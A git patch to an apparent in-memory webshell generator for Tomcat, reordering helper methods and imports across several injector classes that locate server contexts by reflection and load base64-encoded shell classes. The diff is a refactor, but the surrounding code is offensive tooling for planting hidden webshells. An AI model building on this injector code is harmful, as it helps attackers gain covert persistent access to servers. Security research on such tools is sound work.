From de462ae8b0b8c520b9ee658fddf4a1ee012ae982 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Wed, 7 Jan 2026 23:29:23 +0800 Subject: [PATCH] refactor: change method order --- .../injector/tomcat/TomcatFilterInjector.java | 33 ++++++------ .../tomcat/TomcatListenerInjector.java | 34 ++++++------ .../tomcat/TomcatProxyValveInjector.java | 54 ++++++++++--------- .../tomcat/TomcatServletInjector.java | 38 ++++++------- .../tomcat/TomcatUpgradeInjector.java | 34 ++++++------ .../injector/tomcat/TomcatValveInjector.java | 34 ++++++------ .../tomcat/TomcatWebSocketInjector.java | 38 ++++++------- .../response/ResponseBodyGenerator.java | 3 +- 8 files changed, 138 insertions(+), 130 deletions(-) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java index 497b525f..3bc4b46b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java @@ -61,22 +61,6 @@ public class TomcatFilterInjector { System.out.println(msg); } - @SuppressWarnings("all") - private String getContextRoot(Object context) { - String r = null; - try { - r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); - } catch (Exception ignored) { - } - String c = context.getClass().getName(); - if (r == null) { - return c; - } - if (r.isEmpty()) { - return c + "(/)"; - } - return c + "(" + r + ")"; - } /** * org.apache.catalina.core.StandardContext * /usr/local/tomcat/server/lib/catalina.jar @@ -118,6 +102,23 @@ public class TomcatFilterInjector { return contexts; } + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + private ClassLoader getWebAppClassLoader(Object context) throws Exception { try { return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java index dec479b8..935953a1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java @@ -53,23 +53,6 @@ public class TomcatListenerInjector { System.out.println(msg); } - @SuppressWarnings("all") - private String getContextRoot(Object context) { - String r = null; - try { - r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); - } catch (Exception ignored) { - } - String c = context.getClass().getName(); - if (r == null) { - return c; - } - if (r.isEmpty()) { - return c + "(/)"; - } - return c + "(" + r + ")"; - } - public Set getContext() throws Exception { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); @@ -107,6 +90,23 @@ public class TomcatListenerInjector { return contexts; } + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + private ClassLoader getWebAppClassLoader(Object context) { try { return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java index 2162582b..7180307f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java @@ -8,7 +8,9 @@ import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; -import java.util.*; +import java.util.HashSet; +import java.util.Map; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -21,6 +23,14 @@ public class TomcatProxyValveInjector implements InvocationHandler { private static String msg = ""; private static boolean ok = false; + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + public TomcatProxyValveInjector() { if (ok) { return; @@ -49,36 +59,11 @@ public class TomcatProxyValveInjector implements InvocationHandler { System.out.println(msg); } - @SuppressWarnings("all") - private String getContextRoot(Object context) { - String r = null; - try { - r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); - } catch (Exception ignored) { - } - String c = context.getClass().getName(); - if (r == null) { - return c; - } - if (r.isEmpty()) { - return c + "(/)"; - } - return c + "(" + r + ")"; - } - public TomcatProxyValveInjector(Object rawValve, Object proxyValve) { this.rawValve = rawValve; this.proxyValve = proxyValve; } - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() { - return "{{base64Str}}"; - } - @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { if ("invoke".equals(method.getName())) { @@ -133,6 +118,23 @@ public class TomcatProxyValveInjector implements InvocationHandler { return contexts; } + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + private ClassLoader getWebAppClassLoader(Object context) { try { return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java index 8a4f9a08..14f61eaa 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java @@ -8,7 +8,9 @@ import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.*; +import java.util.HashSet; +import java.util.Map; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -60,23 +62,6 @@ public class TomcatServletInjector { System.out.println(msg); } - @SuppressWarnings("all") - private String getContextRoot(Object context) { - String r = null; - try { - r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); - } catch (Exception ignored) { - } - String c = context.getClass().getName(); - if (r == null) { - return c; - } - if (r.isEmpty()) { - return c + "(/)"; - } - return c + "(" + r + ")"; - } - public Set getContext() throws Exception { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); @@ -114,6 +99,23 @@ public class TomcatServletInjector { return contexts; } + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + private ClassLoader getWebAppClassLoader(Object context) { try { return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java index 3109fdeb..b2079a40 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java @@ -55,23 +55,6 @@ public class TomcatUpgradeInjector { System.out.println(msg); } - @SuppressWarnings("all") - private String getContextRoot(Object context) { - String r = null; - try { - r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); - } catch (Exception ignored) { - } - String c = context.getClass().getName(); - if (r == null) { - return c; - } - if (r.isEmpty()) { - return c + "(/)"; - } - return c + "(" + r + ")"; - } - /** * org.apache.catalina.core.StandardContext * /usr/local/tomcat/server/lib/catalina.jar @@ -113,6 +96,23 @@ public class TomcatUpgradeInjector { return contexts; } + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = context.getClass().getClassLoader(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java index bd4abbed..0215090a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java @@ -53,23 +53,6 @@ public class TomcatValveInjector { System.out.println(msg); } - @SuppressWarnings("all") - private String getContextRoot(Object context) { - String r = null; - try { - r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); - } catch (Exception ignored) { - } - String c = context.getClass().getName(); - if (r == null) { - return c; - } - if (r.isEmpty()) { - return c + "(/)"; - } - return c + "(" + r + ")"; - } - public Set getContext() throws Exception { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); @@ -107,6 +90,23 @@ public class TomcatValveInjector { return contexts; } + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = context.getClass().getClassLoader(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java index f01f812a..7a2fa5eb 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java @@ -7,7 +7,9 @@ import java.io.PrintStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.*; +import java.util.HashSet; +import java.util.Map; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -59,23 +61,6 @@ public class TomcatWebSocketInjector { System.out.println(msg); } - @SuppressWarnings("all") - private String getContextRoot(Object context) { - String r = null; - try { - r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); - } catch (Exception ignored) { - } - String c = context.getClass().getName(); - if (r == null) { - return c; - } - if (r.isEmpty()) { - return c + "(/)"; - } - return c + "(" + r + ")"; - } - public Set getContext() throws Exception { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); @@ -113,6 +98,23 @@ public class TomcatWebSocketInjector { return contexts; } + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + private ClassLoader getWebAppClassLoader(Object context) { try { return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); diff --git a/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java b/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java index 1eaa8aa0..9ac210a8 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java @@ -53,7 +53,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator